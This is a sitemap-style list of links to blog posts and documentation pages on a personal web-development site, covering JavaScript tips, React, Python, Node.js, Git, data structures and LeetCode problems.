+-   [https://bgoonz-blog.netlify.app/blog/blog-archive](https://bgoonz-blog.netlify.app/blog/blog-archive)
+-   [https://bgoonz-blog.netlify.app/blog/code-playgrounds-of-2021](https://bgoonz-blog.netlify.app/blog/code-playgrounds-of-2021)
+-   [https://bgoonz-blog.netlify.app/blog/data-structures](https://bgoonz-blog.netlify.app/blog/data-structures)
+-   [https://bgoonz-blog.netlify.app/blog/data-structures-algorithms-resources](https://bgoonz-blog.netlify.app/blog/data-structures-algorithms-resources)
+-   [https://bgoonz-blog.netlify.app/blog/deploy-react-app-to-heroku](https://bgoonz-blog.netlify.app/blog/deploy-react-app-to-heroku)
+-   [https://bgoonz-blog.netlify.app/blog/embedding-media-in-html](https://bgoonz-blog.netlify.app/blog/embedding-media-in-html)
+-   [https://bgoonz-blog.netlify.app/blog/eslint-rules](https://bgoonz-blog.netlify.app/blog/eslint-rules)
+-   [https://bgoonz-blog.netlify.app/blog/event-handeling](https://bgoonz-blog.netlify.app/blog/event-handeling)
+-   [https://bgoonz-blog.netlify.app/blog/expressjs-apis](https://bgoonz-blog.netlify.app/blog/expressjs-apis)
+-   [https://bgoonz-blog.netlify.app/blog/file-system-route-api](https://bgoonz-blog.netlify.app/blog/file-system-route-api)
+-   [https://bgoonz-blog.netlify.app/blog/flow-control-in-python](https://bgoonz-blog.netlify.app/blog/flow-control-in-python)
+-   [https://bgoonz-blog.netlify.app/blog/front-end-interview-questions-part-2](https://bgoonz-blog.netlify.app/blog/front-end-interview-questions-part-2)
+-   [https://bgoonz-blog.netlify.app/blog/functions-in-python](https://bgoonz-blog.netlify.app/blog/functions-in-python)
+-   [https://bgoonz-blog.netlify.app/blog/gatsby-cli](https://bgoonz-blog.netlify.app/blog/gatsby-cli)
+-   [https://bgoonz-blog.netlify.app/blog/git-gateway](https://bgoonz-blog.netlify.app/blog/git-gateway)
+-   [https://bgoonz-blog.netlify.app/blog/google-analytics](https://bgoonz-blog.netlify.app/blog/google-analytics)
+-   [https://bgoonz-blog.netlify.app/blog/grep-in-linuz](https://bgoonz-blog.netlify.app/blog/grep-in-linuz)
+-   [https://bgoonz-blog.netlify.app/blog/hoisting](https://bgoonz-blog.netlify.app/blog/hoisting)
+-   [https://bgoonz-blog.netlify.app/blog/htt-requests](https://bgoonz-blog.netlify.app/blog/htt-requests)
+-   [https://bgoonz-blog.netlify.app/blog/interview-questions-js](https://bgoonz-blog.netlify.app/blog/interview-questions-js)
+-   [https://bgoonz-blog.netlify.app/blog/interview-questions-js-p2](https://bgoonz-blog.netlify.app/blog/interview-questions-js-p2)
+-   [https://bgoonz-blog.netlify.app/blog/interview-questions-js-p3](https://bgoonz-blog.netlify.app/blog/interview-questions-js-p3)
+-   [https://bgoonz-blog.netlify.app/blog/intro-01-data-structures](https://bgoonz-blog.netlify.app/blog/intro-01-data-structures)
+-   [https://bgoonz-blog.netlify.app/blog/intro-to-markdown](https://bgoonz-blog.netlify.app/blog/intro-to-markdown)
+-   [https://bgoonz-blog.netlify.app/blog/jsx-in-depth](https://bgoonz-blog.netlify.app/blog/jsx-in-depth)
+-   [https://bgoonz-blog.netlify.app/blog/netlify-cms](https://bgoonz-blog.netlify.app/blog/netlify-cms)
+-   [https://bgoonz-blog.netlify.app/blog/passing-arguments-to-a-callback-in-js](https://bgoonz-blog.netlify.app/blog/passing-arguments-to-a-callback-in-js)
+-   [https://bgoonz-blog.netlify.app/blog/platform-docs](https://bgoonz-blog.netlify.app/blog/platform-docs)
+-   [https://bgoonz-blog.netlify.app/blog/psql-cheat-sheet](https://bgoonz-blog.netlify.app/blog/psql-cheat-sheet)
+-   [https://bgoonz-blog.netlify.app/blog/python-for-js-dev](https://bgoonz-blog.netlify.app/blog/python-for-js-dev)
+-   [https://bgoonz-blog.netlify.app/blog/python-quiz](https://bgoonz-blog.netlify.app/blog/python-quiz)
+-   [https://bgoonz-blog.netlify.app/blog/python-resources](https://bgoonz-blog.netlify.app/blog/python-resources)
+-   [https://bgoonz-blog.netlify.app/blog/react-fragments](https://bgoonz-blog.netlify.app/blog/react-fragments)
+-   [https://bgoonz-blog.netlify.app/blog/react-semantics](https://bgoonz-blog.netlify.app/blog/react-semantics)
+-   [https://bgoonz-blog.netlify.app/blog/react-state](https://bgoonz-blog.netlify.app/blog/react-state)
+-   [https://bgoonz-blog.netlify.app/blog/useful-stock-images](https://bgoonz-blog.netlify.app/blog/useful-stock-images)
+-   [https://bgoonz-blog.netlify.app/blog/using-the-dom](https://bgoonz-blog.netlify.app/blog/using-the-dom)
+-   [https://bgoonz-blog.netlify.app/blog/vs-code-extensions](https://bgoonz-blog.netlify.app/blog/vs-code-extensions)
+-   [https://bgoonz-blog.netlify.app/blog/vscode-extensions](https://bgoonz-blog.netlify.app/blog/vscode-extensions)
+-   [https://bgoonz-blog.netlify.app/blog/web-dev-trends](https://bgoonz-blog.netlify.app/blog/web-dev-trends)
+-   [https://bgoonz-blog.netlify.app/blog/web-scraping](https://bgoonz-blog.netlify.app/blog/web-scraping)
+-   [https://bgoonz-blog.netlify.app/blog/webdev-setup](https://bgoonz-blog.netlify.app/blog/webdev-setup)
+-   [https://bgoonz-blog.netlify.app/blog/what-is-a-redux-reducer](https://bgoonz-blog.netlify.app/blog/what-is-a-redux-reducer)
+-   [https://bgoonz-blog.netlify.app/blog/wordpress-vs-headless-cms](https://bgoonz-blog.netlify.app/blog/wordpress-vs-headless-cms)
+-   [https://bgoonz-blog.netlify.app/docs](https://bgoonz-blog.netlify.app/docs)
+-   [https://bgoonz-blog.netlify.app/docs/about](https://bgoonz-blog.netlify.app/docs/about)
+-   [https://bgoonz-blog.netlify.app/docs/about/eng-portfolio](https://bgoonz-blog.netlify.app/docs/about/eng-portfolio)
+-   [https://bgoonz-blog.netlify.app/docs/about/internal-use](https://bgoonz-blog.netlify.app/docs/about/internal-use)
+-   [https://bgoonz-blog.netlify.app/docs/about/intrests](https://bgoonz-blog.netlify.app/docs/about/intrests)
+-   [https://bgoonz-blog.netlify.app/docs/about/job-search](https://bgoonz-blog.netlify.app/docs/about/job-search)
+-   [https://bgoonz-blog.netlify.app/docs/about/readme](https://bgoonz-blog.netlify.app/docs/about/readme)
+-   [https://bgoonz-blog.netlify.app/docs/about/resume](https://bgoonz-blog.netlify.app/docs/about/resume)
+-   [https://bgoonz-blog.netlify.app/docs/archive](https://bgoonz-blog.netlify.app/docs/archive)
+-   [https://bgoonz-blog.netlify.app/docs/archive/embeded-websites](https://bgoonz-blog.netlify.app/docs/archive/embeded-websites)
+-   [https://bgoonz-blog.netlify.app/docs/articles](https://bgoonz-blog.netlify.app/docs/articles)
+-   [https://bgoonz-blog.netlify.app/docs/articles/buffers](https://bgoonz-blog.netlify.app/docs/articles/buffers)
+-   [https://bgoonz-blog.netlify.app/docs/articles/common-modules](https://bgoonz-blog.netlify.app/docs/articles/common-modules)
+-   [https://bgoonz-blog.netlify.app/docs/articles/dev-dep](https://bgoonz-blog.netlify.app/docs/articles/dev-dep)
+-   [https://bgoonz-blog.netlify.app/docs/articles/fs-module](https://bgoonz-blog.netlify.app/docs/articles/fs-module)
+-   [https://bgoonz-blog.netlify.app/docs/articles/how-search-engines-work](https://bgoonz-blog.netlify.app/docs/articles/how-search-engines-work)
+-   [https://bgoonz-blog.netlify.app/docs/articles/how-the-web-works](https://bgoonz-blog.netlify.app/docs/articles/how-the-web-works)
+-   [https://bgoonz-blog.netlify.app/docs/articles/intro](https://bgoonz-blog.netlify.app/docs/articles/intro)
+-   [https://bgoonz-blog.netlify.app/docs/articles/jamstack](https://bgoonz-blog.netlify.app/docs/articles/jamstack)
+-   [https://bgoonz-blog.netlify.app/docs/articles/nextjs](https://bgoonz-blog.netlify.app/docs/articles/nextjs)
+-   [https://bgoonz-blog.netlify.app/docs/articles/node-api-express](https://bgoonz-blog.netlify.app/docs/articles/node-api-express)
+-   [https://bgoonz-blog.netlify.app/docs/articles/npm](https://bgoonz-blog.netlify.app/docs/articles/npm)
+-   [https://bgoonz-blog.netlify.app/docs/articles/os-module](https://bgoonz-blog.netlify.app/docs/articles/os-module)
+-   [https://bgoonz-blog.netlify.app/docs/articles/reading-files](https://bgoonz-blog.netlify.app/docs/articles/reading-files)
+-   [https://bgoonz-blog.netlify.app/docs/articles/semantic](https://bgoonz-blog.netlify.app/docs/articles/semantic)
+-   [https://bgoonz-blog.netlify.app/docs/articles/semantic-html](https://bgoonz-blog.netlify.app/docs/articles/semantic-html)
+-   [https://bgoonz-blog.netlify.app/docs/articles/url](https://bgoonz-blog.netlify.app/docs/articles/url)
+-   [https://bgoonz-blog.netlify.app/docs/articles/web-standards-checklist](https://bgoonz-blog.netlify.app/docs/articles/web-standards-checklist)
+-   [https://bgoonz-blog.netlify.app/docs/articles/webdev-tools](https://bgoonz-blog.netlify.app/docs/articles/webdev-tools)
+-   [https://bgoonz-blog.netlify.app/docs/articles/writing-files](https://bgoonz-blog.netlify.app/docs/articles/writing-files)
+-   [https://bgoonz-blog.netlify.app/docs/audio](https://bgoonz-blog.netlify.app/docs/audio)
+-   [https://bgoonz-blog.netlify.app/docs/audio/dfft](https://bgoonz-blog.netlify.app/docs/audio/dfft)
+-   [https://bgoonz-blog.netlify.app/docs/audio/discrete-fft](https://bgoonz-blog.netlify.app/docs/audio/discrete-fft)
+-   [https://bgoonz-blog.netlify.app/docs/audio/dtw-python-explained](https://bgoonz-blog.netlify.app/docs/audio/dtw-python-explained)
+-   [https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping](https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping)
+-   [https://bgoonz-blog.netlify.app/docs/audio/web-audio-api](https://bgoonz-blog.netlify.app/docs/audio/web-audio-api)
+-   [https://bgoonz-blog.netlify.app/docs/career](https://bgoonz-blog.netlify.app/docs/career)
+-   [https://bgoonz-blog.netlify.app/docs/career/job-boards](https://bgoonz-blog.netlify.app/docs/career/job-boards)
+-   [https://bgoonz-blog.netlify.app/docs/career/my-websites](https://bgoonz-blog.netlify.app/docs/career/my-websites)
+-   [https://bgoonz-blog.netlify.app/docs/career/projects](https://bgoonz-blog.netlify.app/docs/career/projects)
+-   [https://bgoonz-blog.netlify.app/docs/community](https://bgoonz-blog.netlify.app/docs/community)
+-   [https://bgoonz-blog.netlify.app/docs/community/an-open-letter-2-future-developers](https://bgoonz-blog.netlify.app/docs/community/an-open-letter-2-future-developers)
+-   [https://bgoonz-blog.netlify.app/docs/community/bookmarks](https://bgoonz-blog.netlify.app/docs/community/bookmarks)
+-   [https://bgoonz-blog.netlify.app/docs/community/video-chat](https://bgoonz-blog.netlify.app/docs/community/video-chat)
+-   [https://bgoonz-blog.netlify.app/docs/content](https://bgoonz-blog.netlify.app/docs/content)
+-   [https://bgoonz-blog.netlify.app/docs/content/algo](https://bgoonz-blog.netlify.app/docs/content/algo)
+-   [https://bgoonz-blog.netlify.app/docs/content/archive](https://bgoonz-blog.netlify.app/docs/content/archive)
+-   [https://bgoonz-blog.netlify.app/docs/content/data-structures-in-python](https://bgoonz-blog.netlify.app/docs/content/data-structures-in-python)
+-   [https://bgoonz-blog.netlify.app/docs/content/gatsby-Queries-Mutations](https://bgoonz-blog.netlify.app/docs/content/gatsby-Queries-Mutations)
+-   [https://bgoonz-blog.netlify.app/docs/content/gists](https://bgoonz-blog.netlify.app/docs/content/gists)
+-   [https://bgoonz-blog.netlify.app/docs/content/history-api](https://bgoonz-blog.netlify.app/docs/content/history-api)
+-   [https://bgoonz-blog.netlify.app/docs/content/javascript-examples](https://bgoonz-blog.netlify.app/docs/content/javascript-examples)
+-   [https://bgoonz-blog.netlify.app/docs/content/main-projects](https://bgoonz-blog.netlify.app/docs/content/main-projects)
+-   [https://bgoonz-blog.netlify.app/docs/content/native-data-structures-in-js](https://bgoonz-blog.netlify.app/docs/content/native-data-structures-in-js)
+-   [https://bgoonz-blog.netlify.app/docs/content/trouble-shooting](https://bgoonz-blog.netlify.app/docs/content/trouble-shooting)
+-   [https://bgoonz-blog.netlify.app/docs/css](https://bgoonz-blog.netlify.app/docs/css)
+-   [https://bgoonz-blog.netlify.app/docs/css/css-selector-specificity](https://bgoonz-blog.netlify.app/docs/css/css-selector-specificity)
+-   [https://bgoonz-blog.netlify.app/docs/css/media-querries](https://bgoonz-blog.netlify.app/docs/css/media-querries)
+-   [https://bgoonz-blog.netlify.app/docs/css/the-box-model](https://bgoonz-blog.netlify.app/docs/css/the-box-model)
+-   [https://bgoonz-blog.netlify.app/docs/docs](https://bgoonz-blog.netlify.app/docs/docs)
+-   [https://bgoonz-blog.netlify.app/docs/docs/appendix](https://bgoonz-blog.netlify.app/docs/docs/appendix)
+-   [https://bgoonz-blog.netlify.app/docs/docs/archive](https://bgoonz-blog.netlify.app/docs/docs/archive)
+-   [https://bgoonz-blog.netlify.app/docs/docs/bash](https://bgoonz-blog.netlify.app/docs/docs/bash)
+-   [https://bgoonz-blog.netlify.app/docs/docs/css](https://bgoonz-blog.netlify.app/docs/docs/css)
+-   [https://bgoonz-blog.netlify.app/docs/docs/git-reference](https://bgoonz-blog.netlify.app/docs/docs/git-reference)
+-   [https://bgoonz-blog.netlify.app/docs/docs/git-repos](https://bgoonz-blog.netlify.app/docs/docs/git-repos)
+-   [https://bgoonz-blog.netlify.app/docs/docs/glossary](https://bgoonz-blog.netlify.app/docs/docs/glossary)
+-   [https://bgoonz-blog.netlify.app/docs/docs/html-tags](https://bgoonz-blog.netlify.app/docs/docs/html-tags)
+-   [https://bgoonz-blog.netlify.app/docs/docs/markdown](https://bgoonz-blog.netlify.app/docs/docs/markdown)
+-   [https://bgoonz-blog.netlify.app/docs/docs/no-whiteboarding](https://bgoonz-blog.netlify.app/docs/docs/no-whiteboarding)
+-   [https://bgoonz-blog.netlify.app/docs/docs/node-docs-complete](https://bgoonz-blog.netlify.app/docs/docs/node-docs-complete)
+-   [https://bgoonz-blog.netlify.app/docs/docs/privacy-policy](https://bgoonz-blog.netlify.app/docs/docs/privacy-policy)
+-   [https://bgoonz-blog.netlify.app/docs/docs/regex-in-js](https://bgoonz-blog.netlify.app/docs/docs/regex-in-js)
+-   [https://bgoonz-blog.netlify.app/docs/docs/sitemap](https://bgoonz-blog.netlify.app/docs/docs/sitemap)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo](https://bgoonz-blog.netlify.app/docs/ds-algo)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo/big-o](https://bgoonz-blog.netlify.app/docs/ds-algo/big-o)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo/data-structures-docs](https://bgoonz-blog.netlify.app/docs/ds-algo/data-structures-docs)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo/ds-algo-interview](https://bgoonz-blog.netlify.app/docs/ds-algo/ds-algo-interview)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo/ds-by-example](https://bgoonz-blog.netlify.app/docs/ds-algo/ds-by-example)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo/ds-overview](https://bgoonz-blog.netlify.app/docs/ds-algo/ds-overview)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo/free-code-camp](https://bgoonz-blog.netlify.app/docs/ds-algo/free-code-camp)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo/graph](https://bgoonz-blog.netlify.app/docs/ds-algo/graph)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo/heaps](https://bgoonz-blog.netlify.app/docs/ds-algo/heaps)
+-   [https://bgoonz-blog.netlify.app/docs/ds-algo/tree](https://bgoonz-blog.netlify.app/docs/ds-algo/tree)
+-   [https://bgoonz-blog.netlify.app/docs/faq](https://bgoonz-blog.netlify.app/docs/faq)
+-   [https://bgoonz-blog.netlify.app/docs/faq/contact](https://bgoonz-blog.netlify.app/docs/faq/contact)
+-   [https://bgoonz-blog.netlify.app/docs/faq/plug-ins](https://bgoonz-blog.netlify.app/docs/faq/plug-ins)
+-   [https://bgoonz-blog.netlify.app/docs/fetch-api](https://bgoonz-blog.netlify.app/docs/fetch-api)
+-   [https://bgoonz-blog.netlify.app/docs/git/git](https://bgoonz-blog.netlify.app/docs/git/git)
+-   [https://bgoonz-blog.netlify.app/docs/git/git/github-tutorial](https://bgoonz-blog.netlify.app/docs/git/git/github-tutorial)
+-   [https://bgoonz-blog.netlify.app/docs/interact](https://bgoonz-blog.netlify.app/docs/interact)
+-   [https://bgoonz-blog.netlify.app/docs/interact/callstack-visual](https://bgoonz-blog.netlify.app/docs/interact/callstack-visual)
+-   [https://bgoonz-blog.netlify.app/docs/interact/clock](https://bgoonz-blog.netlify.app/docs/interact/clock)
+-   [https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks](https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks)
+-   [https://bgoonz-blog.netlify.app/docs/interact/other-sites](https://bgoonz-blog.netlify.app/docs/interact/other-sites)
+-   [https://bgoonz-blog.netlify.app/docs/interact/react-testing-library](https://bgoonz-blog.netlify.app/docs/interact/react-testing-library)
+-   [https://bgoonz-blog.netlify.app/docs/interact/video-chat](https://bgoonz-blog.netlify.app/docs/interact/video-chat)
+-   [https://bgoonz-blog.netlify.app/docs/javascript](https://bgoonz-blog.netlify.app/docs/javascript)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions](https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/asynchronous-javascript-and-xml](https://bgoonz-blog.netlify.app/docs/javascript/asynchronous-javascript-and-xml)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/asyncjs](https://bgoonz-blog.netlify.app/docs/javascript/asyncjs)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/await-keyword](https://bgoonz-blog.netlify.app/docs/javascript/await-keyword)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/bigo](https://bgoonz-blog.netlify.app/docs/javascript/bigo)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/clean-code](https://bgoonz-blog.netlify.app/docs/javascript/clean-code)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions](https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/cs-basics-in-js](https://bgoonz-blog.netlify.app/docs/javascript/cs-basics-in-js)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/for-loops](https://bgoonz-blog.netlify.app/docs/javascript/for-loops)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/javascript-resource-table](https://bgoonz-blog.netlify.app/docs/javascript/javascript-resource-table)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/js-expressions](https://bgoonz-blog.netlify.app/docs/javascript/js-expressions)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/js-objects](https://bgoonz-blog.netlify.app/docs/javascript/js-objects)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/part2-pojo](https://bgoonz-blog.netlify.app/docs/javascript/part2-pojo)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/promises](https://bgoonz-blog.netlify.app/docs/javascript/promises)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/review](https://bgoonz-blog.netlify.app/docs/javascript/review)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/snippets](https://bgoonz-blog.netlify.app/docs/javascript/snippets)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this](https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this)
+-   [https://bgoonz-blog.netlify.app/docs/javascript/variables](https://bgoonz-blog.netlify.app/docs/javascript/variables)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips](https://bgoonz-blog.netlify.app/docs/js-tips)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/abs](https://bgoonz-blog.netlify.app/docs/js-tips/abs)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/acos](https://bgoonz-blog.netlify.app/docs/js-tips/acos)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/acosh](https://bgoonz-blog.netlify.app/docs/js-tips/acosh)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/addition](https://bgoonz-blog.netlify.app/docs/js-tips/addition)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/all](https://bgoonz-blog.netlify.app/docs/js-tips/all)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/allsettled](https://bgoonz-blog.netlify.app/docs/js-tips/allsettled)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/any](https://bgoonz-blog.netlify.app/docs/js-tips/any)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/array](https://bgoonz-blog.netlify.app/docs/js-tips/array)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/array-methods](https://bgoonz-blog.netlify.app/docs/js-tips/array-methods)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/arrow_functions](https://bgoonz-blog.netlify.app/docs/js-tips/arrow_functions)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/async_function](https://bgoonz-blog.netlify.app/docs/js-tips/async_function)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/bad_radix](https://bgoonz-blog.netlify.app/docs/js-tips/bad_radix)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/bind](https://bgoonz-blog.netlify.app/docs/js-tips/bind)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/classes](https://bgoonz-blog.netlify.app/docs/js-tips/classes)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/concat](https://bgoonz-blog.netlify.app/docs/js-tips/concat)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/conditional_operator](https://bgoonz-blog.netlify.app/docs/js-tips/conditional_operator)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/const](https://bgoonz-blog.netlify.app/docs/js-tips/const)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/create](https://bgoonz-blog.netlify.app/docs/js-tips/create)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/date](https://bgoonz-blog.netlify.app/docs/js-tips/date)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/eval](https://bgoonz-blog.netlify.app/docs/js-tips/eval)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/every](https://bgoonz-blog.netlify.app/docs/js-tips/every)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/filter](https://bgoonz-blog.netlify.app/docs/js-tips/filter)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/for...of](https://bgoonz-blog.netlify.app/docs/js-tips/for...of)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/foreach](https://bgoonz-blog.netlify.app/docs/js-tips/foreach)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/functions](https://bgoonz-blog.netlify.app/docs/js-tips/functions)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/import](https://bgoonz-blog.netlify.app/docs/js-tips/import)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/insert-into-array](https://bgoonz-blog.netlify.app/docs/js-tips/insert-into-array)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/map](https://bgoonz-blog.netlify.app/docs/js-tips/map)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/object](https://bgoonz-blog.netlify.app/docs/js-tips/object)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/reduce](https://bgoonz-blog.netlify.app/docs/js-tips/reduce)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/regexp](https://bgoonz-blog.netlify.app/docs/js-tips/regexp)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/sort](https://bgoonz-blog.netlify.app/docs/js-tips/sort)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/sorting-strings](https://bgoonz-blog.netlify.app/docs/js-tips/sorting-strings)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/string](https://bgoonz-blog.netlify.app/docs/js-tips/string)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/this](https://bgoonz-blog.netlify.app/docs/js-tips/this)
+-   [https://bgoonz-blog.netlify.app/docs/js-tips/var](https://bgoonz-blog.netlify.app/docs/js-tips/var)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode](https://bgoonz-blog.netlify.app/docs/leetcode)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/ContaineWitMosWater](https://bgoonz-blog.netlify.app/docs/leetcode/ContaineWitMosWater)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/DividTwIntegers](https://bgoonz-blog.netlify.app/docs/leetcode/DividTwIntegers)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/GeneratParentheses](https://bgoonz-blog.netlify.app/docs/leetcode/GeneratParentheses)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/LetteCombinationoPhonNumber](https://bgoonz-blog.netlify.app/docs/leetcode/LetteCombinationoPhonNumber)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/LongesCommoPrefix](https://bgoonz-blog.netlify.app/docs/leetcode/LongesCommoPrefix)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/MediaoTwSorteArrays](https://bgoonz-blog.netlify.app/docs/leetcode/MediaoTwSorteArrays)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/NexPermutation](https://bgoonz-blog.netlify.app/docs/leetcode/NexPermutation)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/PalindromNumber](https://bgoonz-blog.netlify.app/docs/leetcode/PalindromNumber)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/RegulaExpressioMatching](https://bgoonz-blog.netlify.app/docs/leetcode/RegulaExpressioMatching)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/RemovDuplicatefroSorteArray](https://bgoonz-blog.netlify.app/docs/leetcode/RemovDuplicatefroSorteArray)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/RemovNtNodFroEnoList](https://bgoonz-blog.netlify.app/docs/leetcode/RemovNtNodFroEnoList)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/RomatInteger](https://bgoonz-blog.netlify.app/docs/leetcode/RomatInteger)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/SearciRotateSorteArray](https://bgoonz-blog.netlify.app/docs/leetcode/SearciRotateSorteArray)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/StrintIntege(atoi)](<https://bgoonz-blog.netlify.app/docs/leetcode/StrintIntege(atoi)>)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/ValiParentheses](https://bgoonz-blog.netlify.app/docs/leetcode/ValiParentheses)
+-   [https://bgoonz-blog.netlify.app/docs/leetcode/ZigZaConversion](https://bgoonz-blog.netlify.app/docs/leetcode/ZigZaConversion)
+-   [https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack](https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack)
+-   [https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/get-started-with-gatsby](https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/get-started-with-gatsby)
+-   [https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/jamstack-templates](https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/jamstack-templates)
+-   [https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/serverlessjs](https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/serverlessjs)
+-   [https://bgoonz-blog.netlify.app/docs/overflow](https://bgoonz-blog.netlify.app/docs/overflow)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/emmet-cheat-sheet](https://bgoonz-blog.netlify.app/docs/overflow/emmet-cheat-sheet)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/html-spec](https://bgoonz-blog.netlify.app/docs/overflow/html-spec)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/http](https://bgoonz-blog.netlify.app/docs/overflow/http)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/install](https://bgoonz-blog.netlify.app/docs/overflow/install)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/modules](https://bgoonz-blog.netlify.app/docs/overflow/modules)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/node-cli-args](https://bgoonz-blog.netlify.app/docs/overflow/node-cli-args)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/node-js-language](https://bgoonz-blog.netlify.app/docs/overflow/node-js-language)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/node-package-manager](https://bgoonz-blog.netlify.app/docs/overflow/node-package-manager)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/node-repl](https://bgoonz-blog.netlify.app/docs/overflow/node-repl)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/node-run-cli](https://bgoonz-blog.netlify.app/docs/overflow/node-run-cli)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/nodejs](https://bgoonz-blog.netlify.app/docs/overflow/nodejs)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/nodevsbrowser](https://bgoonz-blog.netlify.app/docs/overflow/nodevsbrowser)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/understanding-firebase](https://bgoonz-blog.netlify.app/docs/overflow/understanding-firebase)
+-   [https://bgoonz-blog.netlify.app/docs/overflow/v8](https://bgoonz-blog.netlify.app/docs/overflow/v8)
+-   [https://bgoonz-blog.netlify.app/docs/privacy-policy](https://bgoonz-blog.netlify.app/docs/privacy-policy)
+-   [https://bgoonz-blog.netlify.app/docs/projects](https://bgoonz-blog.netlify.app/docs/projects)
+-   [https://bgoonz-blog.netlify.app/docs/projects/archive](https://bgoonz-blog.netlify.app/docs/projects/archive)
+-   [https://bgoonz-blog.netlify.app/docs/projects/archive/embeded-websites](https://bgoonz-blog.netlify.app/docs/projects/archive/embeded-websites)
